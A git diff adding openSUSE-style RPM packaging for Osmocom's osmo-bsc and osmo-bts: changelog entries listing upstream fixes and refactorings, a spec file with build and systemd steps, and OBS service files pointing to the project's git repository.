+- Update to version 1.3.0.34:
+ * doc: update mgw settings in example config file
+ * lcls: do not LCLS call legs with different codecs
+
+-------------------------------------------------------------------
+Tue Aug 07 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.32:
+ * GSCON: call api of a_reset.c with msc object directly
+ * GSCON: avoid sending connection oriented data when not connected
+ * sigtran: fix memleak in osmo_bsc_sigtran_send()
+
+-------------------------------------------------------------------
+Wed Aug 01 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.29:
+ * handover_fsm.c: Fix -Werror=format-security errors
+ * Migrate from osmo_ipa_idtag_parse() to ipa_ccm_id_resp_parse()
+ * gscon: use BSS-common payload types on BSS side
+ * endpoint_fsm: add missing return in mgcp_pick_codec
+
+-------------------------------------------------------------------
+Sat Jul 28 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.25:
+ * cosmetic: gscon: don't re-enter ST_CLEARING
+ * cosmetic: rename osmo_bsc_api.c to gsm_08_08.c
+ * cosmetic: rename bsc_api.h to gsm_08_08.h
+ * cosmetic: reduce bsc_api.h
+ * cosmetic: dissolve bsc_api.c
+ * vty: 'handover any': pick more random chans, use lchan_select_by_type()
+ * cosmetic: constify gsm_bts_num() net arg
+ * create separate logging categories for lchan,ts,as FSMs
+ * allocate larger lchans if no SDCCH are available
+ * lchan_fsm: add in_release_handler flag
+ * lchan_fsm: split off lchan_rtp_fsm, establish RTP a bit earlier
+ * fix BSC_CTR_ASSIGNMENT doc strings
+ * cosmetic: FSMs: allow ignorable events
+ * timeslot FSM: permit entering broken state from anywhere
+ * timeslot FSM: fix infinite recursion on failure to send PDCH ACT
+ * fix: dispatch TS_EV_RSL_DOWN when losing RSL
+ * fix nanobts: timeslot FSM: use flags to remember OML,RSL status
+ * large refactoring: use FSMs for lchans; add inter-BSC HO
+ * add gsm_timers, for Tnnn definitions usable by FSMs
+ * cosmetic: move RR functions from bsc_api.c to gsm_04_08_rr.c
+ * rename gsm_04_08_utils.[hc] to gsm_04_08_rr
+ * fix / clarify rsl dtap cache
+ * doc: update/fix FSM charts
+ * inter-BSC HO: neighbor_ident API: drop 9bit BSIC
+ * inter-BSC HO: add neighbor_ident API to manage neighbor-BSS-cells
+
+-------------------------------------------------------------------
+Fri Jul 27 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.1.92-93916-dirty → 1.3.0
+ * rsl: use 3GPP assigned payload type constants from libosmo-netif
+
+-------------------------------------------------------------------
+Wed Jul 25 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.91:
+ * git-version-gen: Don't check for .git directory
+
+-------------------------------------------------------------------
+Tue Jul 24 20:02:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.90:
+ * BTS codec pref legacy compat: allow all codecs per default
+
+-------------------------------------------------------------------
+Mon Jul 23 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.89:
+ * various logging: fix missing/extra newlines
+ * hodec2 log: less verbose, more concise logging
+
+-------------------------------------------------------------------
+Sun Jul 22 20:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.87:
+ * chan_alloc: reset rtp voice related bits in lchan_free()
+ * ctrl: Avoid sending back received ERROR msgs
+ * codec_pref: check bts codec support
+ * codec_pref: move match_codec_pref() to separate c-file and add unit-test
+
+-------------------------------------------------------------------
+Sat Jul 21 20:02:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.83:
+ * ho cfg: fix unit strings
+ * fix handover start: dealloc ho if event not permitted
+ * fix handling of invalid pchan names in vty
+
+-------------------------------------------------------------------
+Thu Jul 19 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.80:
+ * call osmo_xua_msg_tall_ctx_init()
+
+-------------------------------------------------------------------
+Wed Jul 11 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.79:
+ * cosmetic: name osmo-bsc's root ctx 'osmo-bsc', not 'openbsc'
+
+-------------------------------------------------------------------
+Thu Jun 28 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.78:
+ * filter: Allocate each ctr group with a different idx
+ * filter: Replace '.' in counter names with ':'
+ * filter: vty: Print policy list in cmd show access-list
+ * Rename bsc_msg_acc_lst_vty_init to have more uniform prefix
+ * Init access_lists before passing it as a parameter
+ * bsc_vty: Write access list entries when storing bsc config
+ * bsc-filter: Remove unused func barr_adapt and set barr_find static
+
+-------------------------------------------------------------------
+Tue Jun 26 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.71:
+ * lcls: set codec info when performing MGW operation
+
+-------------------------------------------------------------------
+Mon Jun 25 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.70:
+ * gscon: pick suitable payload type / encoding name for MGCP
+ * debian: Move meas related binaries into new package osmo-bsc-meas-utils
+
+-------------------------------------------------------------------
+Mon Jun 18 20:02:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.68:
+ * cosmetic / linking: move str_to_imsi() out of abis_rsl.c
+
+-------------------------------------------------------------------
+Sat Jun 16 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.67:
+ * fix dyn TS init: properly identify BTS on OML OPSTART ACK
+
+-------------------------------------------------------------------
+Fri Jun 15 20:02:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.66:
+ * osmo-bsc: Add -V param to print version
+ * osmo-bsc: Clean help description of cmd line parameters
+ * pcu_sock: Log event pcu_sock created
+
+-------------------------------------------------------------------
+Thu Jun 14 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.63:
+ * absi_rsl: Fix segfault in rsl_rx_conn_fail()
+
+-------------------------------------------------------------------
+Mon Jun 11 20:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.62:
+ * bsc_subscr_conn_fsm: BSC must not release SCCP connection
+ * Add missing event string name for GSCON_EV_LCLS_FAIL
+ * remove traces of osmo-bsc_nat in python test (osmoappdesc/test_runner)
+
+-------------------------------------------------------------------
+Sat Jun 09 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.59:
+ * Remove unused logging subsystems DCC and DMGCP
+ * Explicitly register CTRL-over-IPA callback with libosmo-sigtran
+
+-------------------------------------------------------------------
+Fri Jun 08 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.57:
+ * Ignore "dest" command in MSC node
+ * make T10 configurable like the rest of them
+ * drop dead code: conn->T10, handled by gscon instead
+ * HO: introduce T7, T8, T101 timers
+ * cosmetic: gscon: drop odd use of OSMO_STRINGIFY
+ * doc: charts: illustrate new plan for ts and lchans
+ * doc: add ms-channel-request.msc
+ * doc: add lchan-release.msc
+ * doc: tweak msc charts on Assignment/Handover: act_timer
+ * cosmetic: handover_test: add IMSI to subscr for logging
+ * store subscriber identity on paging
+ * try to pick up subsrc IMSI on l3-compl
+ * gscon: put subscriber a little later
+ * cosmetic: bsc_subscr_alloc: log initial get
+ * cosmetic: penalty timers: constify, tweak doc
+ * use libosmocore's gsm0808_permitted_speech(), gsm0808_chosen_channel()
+ * log: assignment: add two logs on unexpected lchan release
+ * log: fix logging in rsl_rx_chan_act_nack()
+ * assignment: signal assignment failure on chan act nack
+ * cosmetic: gscon: undup code: add common assignment_failed()
+ * cosmetic: magic number: use RSL_ACT_ constant for chan act
+ * remove struct bsc_api
+ * dissolve libbsc: move all to src/osmo-bsc, link .o files
+
+-------------------------------------------------------------------
+Thu Jun 07 20:02:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.34:
+ * bsc_test: drop "scan to MSC" code path
+ * tests: remove channel_test
+ * tests: remove bssap_test
+ * increment 'paging responded' counter for active paging only
+
+-------------------------------------------------------------------
+Thu Jun 07 10:38:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.30:
+ * Reject ASSIGNMENT REQ with CIC but no AoIP transp addr in AoIP case
+
+-------------------------------------------------------------------
+Sun Jun 03 20:03:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.29:
+ * VTY: Print some more information in "show conns"
+ * Add initial 3GPP LCLS support to OsmoBSC
+ * LCLS: add VTY config to enable/disable LCLS on per-MSC basis
+
+-------------------------------------------------------------------
+Wed May 30 20:02:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.26:
+ * chan_alloc: Print bts nr on chan alloc failure
+ * abis_rsl.c: Fix whitespace
+ * abis_rsl: rsl_rx_chan_rqd: Format bts log string as in everywhere else
+
+-------------------------------------------------------------------
+Mon May 28 20:02:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.23:
+ * Remove 'struct bsc_msc_connection' + fix IPA-encapsulated CTRL
+ * move 'extern struct gsm_network *bsc_gsmnet" to header file
+ * acc_ramp: Increase log level of some messages
+ * doc: add msc charts on Assignment/Handover internals
+
+-------------------------------------------------------------------
+Sun May 27 20:02:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.19:
+ * remove remaining bits of osmo-bsc_nat
+
+-------------------------------------------------------------------
+Fri May 25 20:03:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.18:
+ * bsc: Fix check for MSC-side FSM allocation failure
+ * vty: Permit selection of other ASP protocol than M3UA
+ * bsc: Add mgcp_port_to_cic() to determine CIC from RTP Port
+ * bsc: Use correct MGCP endpoint name for IPA/SCCPlite
+ * bsc: Don't reject ASSIGNMENT for Audio in IPA/SCCPlite case
+ * bsc: Don't include AoIP IEs in ASSIGNMENT COMPLETE over SCCPlite
+ * bsc: Don't create MSC-side MGCP connection in IPA/SCCPlite case
+
+-------------------------------------------------------------------
+Thu May 24 20:03:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.11:
+ * fix misaligned memory write access in abis_nm_ipaccess_rsl_connect()
+
+-------------------------------------------------------------------
+Wed May 23 20:03:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.10:
+ * bsc_api.c: actually log with context
+ * abis_rsl.h: drop unused rsl_chan_activate() declaration
+ * cosmetic: bsc_dyn_ts.c: make local functions static
+ * cosmetic: define TCH_F_PDCH_PENDING_MASK as actual bitwise or
+ * cosmetic: logging and ordering in handle_ass_compl()
+ * gscon: remove dead code
+
+-------------------------------------------------------------------
+Tue May 22 20:03:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.4:
+ * add counter for connection attempts from BTS with unknown unit id
+ * nat: Add jitter buffer on the uplink receiver
+
+-------------------------------------------------------------------
+Fri May 18 20:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.2:
+ * a_reset: cleanup + remove dead code
+ * show all global counters of osmo-bsc in vty
+
+-------------------------------------------------------------------
+Tue May 15 20:03:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.1.0:
+ * Bump version: 1.2.0.9-a7008 → 1.2.1
+
+-------------------------------------------------------------------
+Mon May 14 20:02:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.13:
+ * deprecate dyn_ts_allow_tch_f and by default allow all TCH
+ * fix default fallbacks in audio_support_to_gsm88()
+ * log: indicate hr/fr in audio_support_to_gsm88() error
+ * cosmetic: dyn ts init: undup logging for gprs = none
+
+-------------------------------------------------------------------
+Thu May 10 20:02:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * dyn TS: init only when both RSL and the Channel OM are established
+ * dyn TS: allow any pchan type changes, fix for gprs mode none
+ * debug log: verbosely log all lchan alloc choices
+
+-------------------------------------------------------------------
+Tue May 08 20:02:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.6:
+ * osmo_bsc_vty.c: fix: write MGW configuration
+
+-------------------------------------------------------------------
+Mon May 07 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.5:
+ * dyn TS, assignment: set lchan state to LCHAN_S_ACT_REQ in the proper place
+ * dyn TS, assignment: allow switch from PDCH with associated conn
+
+-------------------------------------------------------------------
+Sun May 06 20:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.3:
+ * dyn ts, bts_ipaccess_nanobts.c: init PDCH on Chan OPSTART ACK
+
+-------------------------------------------------------------------
+Fri May 04 20:02:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.2:
+ * bsc_api/GSCON: prevent unnecessary channel mode modifications
+ * resurrect meas_feed.c: vty, vty-test
+
+-------------------------------------------------------------------
+Thu May 03 20:03:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * cosmetic: Add note about libosmo-legacy-mgcp to configure.ac
+ * resurrect meas_feed.c from openbsc.git history
+ * resurrect meas_feed.c: make it compile, add logging
+ * Bump version: 1.1.2.360-42ab-dirty → 1.2.0
+
+-------------------------------------------------------------------
+Tue Apr 24 20:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.357:
+ * extend documentation of paging_flush_bts()
+ * flush paging when RSL link is dropped
+
+-------------------------------------------------------------------
+Mon Apr 23 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.355:
+ * abis_rsl.c: abis_rsl_rx_cchan: Print msg type name for unimplemented messages received
+ * abis_rsl.c: Clean ericsson specific imm assign code
+ * gsm_data_shared.h: Remove unused enum gsm_paging_event
+
+-------------------------------------------------------------------
+Thu Apr 19 20:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.352:
+ * chan_alloc.c: Fix log var formatting issues
+ * properly skip paging is OML link is down
+
+-------------------------------------------------------------------
+Tue Apr 17 20:03:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.350:
+ * gscon: fix assignment of signalling channels
+ * use osmo_init_logging2
+
+-------------------------------------------------------------------
+Mon Apr 16 20:03:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.348:
+ * bsc_nat: ctrl: Fix crash on receveing bsc reply
+ * Cosmetic: Fix typo: Siganlling->Signalling
+
+-------------------------------------------------------------------
+Sat Apr 14 20:28:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.346:
+ * fix handling of state changes in acc ramping
+ * inform A-RESET FSM about MSC CR timeouts
+
+-------------------------------------------------------------------
+Thu Apr 12 21:47:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.344:
+ * rename helper functions in the acc ramp code to avoid confusion
+ * trigger acc ramping on state-changed-event reports
+ * only trigger acc ramping if trx 0 is usable and unlocked
+
+-------------------------------------------------------------------
+Wed Apr 11 20:02:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.341:
+ * only log actual access control class ramping changes
+ * libbsc: set_net_mcc_mnc_apply: Fix memleak on parsing incorrect mcc mnc
+ * bsc_nat: ctrl: fix memleak on reply receival
+ * bsc_nat: forward_to_bsc: remove one level of indentation
+ * bsc_nat: forward_to_bsc: Fix memleak on send failure
+ * bsc_nat: Drop redundant ccon ptr in bsc_cmd_list
+ * ensure that acc_ramp_init() is only called once
+ * trigger acc ramping based on trx rf-locked state
+
+-------------------------------------------------------------------
+Mon Apr 09 18:39:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.333:
+ * fix a format string error in bts_update_t3122_chan_load()
+ * fix initialization of acc ramping
+
+-------------------------------------------------------------------
+Sat Apr 07 18:53:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.331:
+ * cosmetic: Fix infinite number of formatting errors in gscon_fsm_states
+ * abis_nm: Improve and fix OML logging
+ * paging: Unify formatting of log messages with (bts=%d) prefix
+ * RR: Send RR STATUS in case of unsupported/unknown message
+ * pcu_sock.c: Avoid breaking strict-aliasing on ptr derreference
+ * contrib: jenkins.sh: Add --enable-werror flag
+ * fix an error message in bssmap_handle_paging()
+ * cosmetic: abis_nm: use osmo_cell_global_id, parse 3-digit MNC
+ * fixup: apply mnc3 change also in ipaccess/network_listen.c
+ * cosmetic: remove unused enum members
+ * cosmetic: fix typo
+ * cosmetic: fix argument order of forward_dtap()
+ * cosmetic: remove needless fixme note.
+ * cosmetic: fix incomplete sentence in comment.
+ * Cosmetic: fix missing semicolon after osmo-assert
+ * cosmetic: remove dead code and obsolete fixmes
+ * cosmetic: remove old, already commented-out code
+ * BSSAP: Fix test_codec_pref() implementation for AMR
+ * BSSAP: document match_codec_pref() more thoroughly
+ * GSCON FSM: Fix argument order when calling gsm0808_assign_req()
+ * bssmap: State correct speech codec in ASSIGNMENT COMPLETE
+ * vty: drop unused vty definitions (*_NODE, msc_*)
+ * gsm0408_test: drop LAI encoding test
+ * ipaccess: make ipaccess-config build again
+ * bs11: make bs11_config build again
+ * cosmetic: remove dead code: osmo_bsc_reset.c
+ * contrib: osmo-bsc.service: Update description
+ * contrib: osmo-bsc.service: Fix osmo-mgw.service dependency
+ * libbsc: nokia_site: Fix uninitialized return val
+ * bsc_vty: Fix uninitialized var false positive on gcc 7.3.1
+ * paging: paging_request_bts: Fix wrong return value
+ * bssap: Log non handled paging requests
+ * gscon: fix illegal state transitions
+ * change return type of page_subscriber() to void
+ * range_enc_arfcns: avoid runtime error on zero size
+ * fix gsm0408_test: properly free bts struct after each test
+ * move init from gsm_bts_alloc_register() to gsm_bts_alloc(); fix gsm0408_test
+ * cosmetic: gsm0408_test: drop unused arg from bts_init()
+ * ctx cleanup: use non-NULL talloc ctx for osmo_init_logging2()
+ * cosmetic: remove dead code
+ * cosmetic: Add fixme note for OS#3112
+ * doc/examples: use NECI = 1 by default
+ * vty: re-add 'timeout-ping' and 'timeout-pong' as dummy commands
+ * Generate the S_L_INP_TEI_UP signal earlier.
+ * Start Dynamic PDCH Initialization after RSL is up
+ * "show timeslot": Show dynamic PDCH state also for Osmocom-style dyn PDCH
+
+-------------------------------------------------------------------
+Sat Mar 17 12:13:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.285:
+ * bsc_api.c: bsc_handle_lchan_signal: Remove unused variable
+ * bsc_subscr_conn_fsm.c: Fix wrong param list passed to LOGPFSML
+ * tests: handover_test.c: Add missing header
+
+-------------------------------------------------------------------
+Fri Mar 16 19:59:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.282:
+ * introduce an osmo_fsm for gsm_subscriber_connection
+ * abisip-find: Improve use information output
+ * ipaccess-config: Check cmdlie arg unit-id format
+
+-------------------------------------------------------------------
+Fri Mar 16 10:12:28 UTC 2018 - mardnh@gmx.de
+
+- Create subpackages for
+ * abisip-find
+ * ipaccess-utils
+ * bs11-utils
+
+-------------------------------------------------------------------
+Thu Mar 15 18:48:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.279:
+ * use libosmocore to parse cell identifiers in osmo-bsc
+
+-------------------------------------------------------------------
+Wed Mar 14 21:34:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.2.278:
+ * sysinfo: Fix regression causing missing L2 Pseudo-Length in SI5/SI6
+ * gsm_data: use feature list from libosmocore
+ * bsc_vty: display bts features in show bts
+ * abisip-find: Add option to bind to a specific source address
+ * abisip-find: Force stdout buffer flush
+ * abisip-find: Add --format-json option
+ * configure: add --enable-werror
+ * ipaccess-config: Enable logging all categories to print errors
+ * ipaccess-config: Add missing path with log error
+ * ipaccess-config: Improve handling of last parameter
+
+-------------------------------------------------------------------
+Wed Mar 14 19:56:20 UTC 2018 - mardnh@gmx.de
+
+- Rebase patch:
+ * osmo-bsc-disable-osmo-bsc_nat.patch
+
+-------------------------------------------------------------------
+Sat Mar 3 11:04:30 UTC 2018 - mardnh@gmx.de
+
+- We don't have libosmo-sccp anymore.
+ Lets drop the remaining legacys stuff that still depend on that
+ library.
+- Add patch:
+ * osmo-bsc-disable-osmo-bsc_nat.patch
+
+-------------------------------------------------------------------
+Wed Feb 14 16:16:57 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.184
+
+-------------------------------------------------------------------
+Sat Feb 10 20:32:18 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:07:23 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.182
+
+-------------------------------------------------------------------
+Sat Jan 27 18:08:11 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.1.2.172
+- Remove patch:
+ * osmo-bsc-fix-includes.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Thu Dec 28 09:23:13 UTC 2017 - mardnh@gmx.de
+
+- Add patch:
+ * osmo-bsc-fix-includes.patch
+
+-------------------------------------------------------------------
+Wed Dec 27 16:35:29 UTC 2017 - mardnh@gmx.de
+
+- Initial package, version 1.1.2
diff --git a/rpm-local/spec/osmo-bsc/osmo-bsc.spec b/rpm-local/spec/osmo-bsc/osmo-bsc.spec
new file mode 100644
index 0000000..ab0e5e1
--- /dev/null
+++ b/rpm-local/spec/osmo-bsc/osmo-bsc.spec
@@ -0,0 +1,145 @@
+#
+# spec file for package osmo-bsc
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+## Disable LTO for now since it breaks compilation of the tests
+## https://osmocom.org/issues/4113
+%define _lto_cflags %{nil}
+
+
+Name: osmo-bsc
+Version: 1.6.0.41
+Release: 0
+Summary: OsmoBSC: Osmocom's Base Station Controller for 2G CS mobile networks
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Hardware/Mobile
+URL: https://osmocom.org/projects/openbsc/wiki/Osmo-bsc
+Source: %{name}-%{version}.tar.xz
+BuildRequires: automake >= 1.9
+BuildRequires: libtool >= 2
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libcrypto) >= 0.9.5
+BuildRequires: pkgconfig(libosmo-mgcp-client) >= 1.5.0
+BuildRequires: pkgconfig(libosmo-netif) >= 0.6.0
+BuildRequires: pkgconfig(libosmo-sccp) >= 0.10.0
+BuildRequires: pkgconfig(libosmo-sigtran) >= 0.10.0
+BuildRequires: pkgconfig(libosmoabis) >= 0.6.0
+BuildRequires: pkgconfig(libosmocore) >= 1.2.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.2.0
+BuildRequires: pkgconfig(libosmogb)
+BuildRequires: pkgconfig(libosmogsm) >= 1.2.0
+BuildRequires: pkgconfig(libosmovty) >= 1.2.0
+BuildRequires: pkgconfig(talloc)
+%{?systemd_requires}
+
+%description
+OsmoBSC: Osmocom's Base Station Controller for 2G circuit-switched mobile networks.
+
+%package abisip-find
+Summary: CLI utility to find ip.access compatible BTS
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description abisip-find
+Command line utility to find ip.access compatible BTS.
+
+%package ipaccess-utils
+Summary: Command line utilities for ip.access nanoBTS
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description ipaccess-utils
+This package contains utilities that are specific for nanoBTS when being
+used together with OpenBSC. It contains mainly two tools: ipaccess-config
+and ipaccess-proxy.
+
+%package bs11-utils
+Summary: Command line utilities for Siemens BS-11 BTS
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description bs11-utils
+There is a tool in this package for configuring the Siemens BS-11 BTS.
+Additionally, it contains one tool for making use of an ISDN-card and the
+public telephone network as frequency standard for the E1 line.
+
+%package meas-utils
+Summary: Command line utilities for OsmoBSC's measurement reports
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description meas-utils
+This package contains utilities for handling OsmoBSC's measurement reports
+ * meas_json to convert measurement feed into a JSON feed
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%license COPYING
+%doc AUTHORS README
+%{_bindir}/osmo-bsc
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-bsc
+%{_docdir}/%{name}/examples/osmo-bsc/osmo-bsc.cfg
+%{_docdir}/%{name}/examples/osmo-bsc/osmo-bsc_custom-sccp.cfg
+%{_docdir}/%{name}/examples/osmo-bsc/osmo-bsc-minimal.cfg
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-bsc.cfg
+%{_unitdir}/%{name}.service
+
+%files abisip-find
+%{_bindir}/abisip-find
+
+%files ipaccess-utils
+%{_bindir}/ipaccess-config
+%{_bindir}/ipaccess-proxy
+
+%files bs11-utils
+%{_bindir}/bs11_config
+%{_bindir}/isdnsync
+
+%files meas-utils
+%{_bindir}/meas_json
+
+%changelog
diff --git a/rpm-local/spec/osmo-bts/_service b/rpm-local/spec/osmo-bts/_service
new file mode 100644
index 0000000..faa8e14
--- /dev/null
+++ b/rpm-local/spec/osmo-bts/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-bts</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-bts/_servicedata b/rpm-local/spec/osmo-bts/_servicedata
new file mode 100644
index 0000000..e5ebd54
--- /dev/null
+++ b/rpm-local/spec/osmo-bts/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-bts</param>
+ <param name="changesrevision">40fb4b7614cbe8c25b9712a44e97c76bca51fba5</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-bts/osmo-bts.changes b/rpm-local/spec/osmo-bts/osmo-bts.changes
new file mode 100644
index 0000000..d0a674c
--- /dev/null
+++ b/rpm-local/spec/osmo-bts/osmo-bts.changes
@@ -0,0 +1,2249 @@
+-------------------------------------------------------------------
+Mon Apr 27 20:02:30 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.46:
+ * osmo-bts-{sysmo,oc2g,lc15}: fix segfault on 'dsp-trace-flag'
+
+-------------------------------------------------------------------
+Sat Apr 25 20:03:03 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.45:
+ * measurement: remove unecessary is_amr_sid_update parameter
+ * dtx: add detection of AMR DTX frames for osmo-bts-trx
+ * oc2g: Fix mismatching signature in callback provided
+ * oc2g: Fix returning values on void function
+ * lc15: Fix mismatching signature in callback provided
+ * lc15: Fix returning values on void function
+ * osmo-bts-litecell15: Implement missing features.
+
+-------------------------------------------------------------------
+Wed Apr 22 20:02:55 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.38:
+ * osmo-bts-virtual: Avoid rejecting AMR in uplink
+
+-------------------------------------------------------------------
+Mon Apr 20 20:02:51 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.37:
+ * fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Tue Apr 14 20:02:44 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.36:
+ * logging: use only LOGL_NOTICE as defualt loglevel
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Sun Apr 05 20:02:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.34:
+ * scheduler: always call Uplink burst handler on NOPE.ind
+
+-------------------------------------------------------------------
+Fri Apr 03 20:02:27 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.33:
+ * cosmetic: remove dead code from logging.c
+
+-------------------------------------------------------------------
+Wed Apr 01 20:02:54 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.32:
+ * l1sap: fix gsmtap_ph_rach(): properly pack 8-bit and 11-bit RA
+
+-------------------------------------------------------------------
+Tue Mar 24 21:02:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.31:
+ * VTY: add "test send-failure-event-report"
+
+-------------------------------------------------------------------
+Mon Mar 23 21:02:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.30:
+ * osmo-bts-trx: do not set rx-gain to 1 by default
+
+-------------------------------------------------------------------
+Sun Mar 22 21:02:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.29:
+ * trx: Use NOPE indications on SDCCH
+ * trx: Use NOPE indications from OsmoTRX for TCH/F and TCH/H
+ * trx: Fix reported BER for TCH/H
+
+-------------------------------------------------------------------
+Wed Mar 11 21:02:14 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.26:
+ * osmo-bts-virtual: Fix "virtual-um net-device NETDEV"
+ * osmo-bts-virtual: Add "virtual-um ttl <0-255>" VTY option
+
+-------------------------------------------------------------------
